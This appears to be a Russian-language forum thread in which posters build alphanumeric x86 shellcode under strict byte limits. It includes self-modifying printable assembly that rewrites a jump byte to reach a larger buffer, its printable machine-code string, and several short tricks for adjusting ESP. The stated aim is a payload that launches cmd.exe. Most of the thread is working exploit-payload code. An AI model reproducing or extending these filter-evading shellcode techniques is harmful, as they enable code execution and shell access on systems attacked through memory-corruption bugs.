2Quantum

Это понятно. CODE2 – 30 байт. Никак не вместить.

Удалось!

.386
.model flat
.code
_start:

dec eax
dec eax
dec eax
dec eax
dec eax
dec eax
dec eax
dec eax

push eax
pop ecx

dec ebx
dec ebx
push ebx
pop eax

sub [esp+2*ecx+23h], al

db 78h, 7Eh

end _start

Машинный код этого: HHHHHHHHPYKKSX(DL#x~

Это позволило сделать js на -126 байт, т.е. попасть в CODE1. Теперь у меня 92 байта для кода, а не 30. Теперь, собственно, неспешно пишу запуск cmd.exe – места должно хватить.

Спасибо, помогли.

Дошел и тут до проблемы: осталось 7 байт, необходимо отнять от ESP 100 байт. Что делать?

Есть такой кривой вариант, будет работать когда самый младший байт esp >= 64h

push esp
pop eax
sub al, 64h
push eax
pop esp

т.е.
TX,dP\

PS: ты бы написал состояние регистров и памяти на данный момент, может что поинтересней придумать можно будет. Например, в код что-нибудь записать. Хотя в семи байтах особо не разгуляешься :)

О! Осенило:

push 60h
sub esp,[esp]

j`+$$